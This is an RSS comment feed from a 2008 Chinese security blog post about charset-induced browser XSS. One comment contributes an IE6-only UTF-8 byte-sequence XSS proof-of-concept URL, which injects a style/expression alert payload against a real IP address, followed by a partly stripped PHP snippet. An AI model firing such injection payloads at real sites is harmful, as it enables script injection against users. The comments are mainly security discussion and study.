《字符集导致的浏览器跨站脚本攻击》的评论 http://www.80sec.com/charset-xss.html Know it then hack it! Sun, 16 Nov 2008 10:24:33 +0000 http://wordpress.org/?v=2.9.2 hourly 1 admin http://www.80sec.com/charset-xss.html/comment-page-1#comment-33 admin Fri, 04 Jul 2008 05:57:34 +0000 http://www.80sec.com/?p=8#comment-33 谢谢你的分享 :) 谢谢你的分享 :)

]]> hope http://www.80sec.com/charset-xss.html/comment-page-1#comment-32 hope Wed, 02 Jul 2008 02:03:50 +0000 http://www.80sec.com/?p=8#comment-32 补充一个吧，UTF-8 3-byte sequence IE exploit，仅在IE6.0下有效，所以UTF-8也不是觉得安全的哦。 http://203.209.246.204/ncpapps/utf-8.php?a=1%E0&b=%20style=xss:expression(alert(/xss/))+%E0 <code> utf-8.php: <input type="input" value=""> any part of the page in the title of the page in the URL of the page <input type=input value=""> </code> 补充一个吧，UTF-8 3-byte sequence IE exploit，仅在IE6.0下有效，所以UTF-8也不是觉得安全的哦。
http://203.209.246.204/ncpapps/utf-8.php?a=1%E0&b=%20style=xss:expression(alert(/xss/))+%E0


utf-8.php:

<input type="input" value="">

any part of the page
in the title of the page
in the URL of the page

<input type=input value="">

]]> hbs http://www.80sec.com/charset-xss.html/comment-page-1#comment-20 hbs Mon, 09 Jun 2008 06:40:42 +0000 http://www.80sec.com/?p=8#comment-20 这么奇异的玩法 值得学习~ 这么奇异的玩法
值得学习~

]]>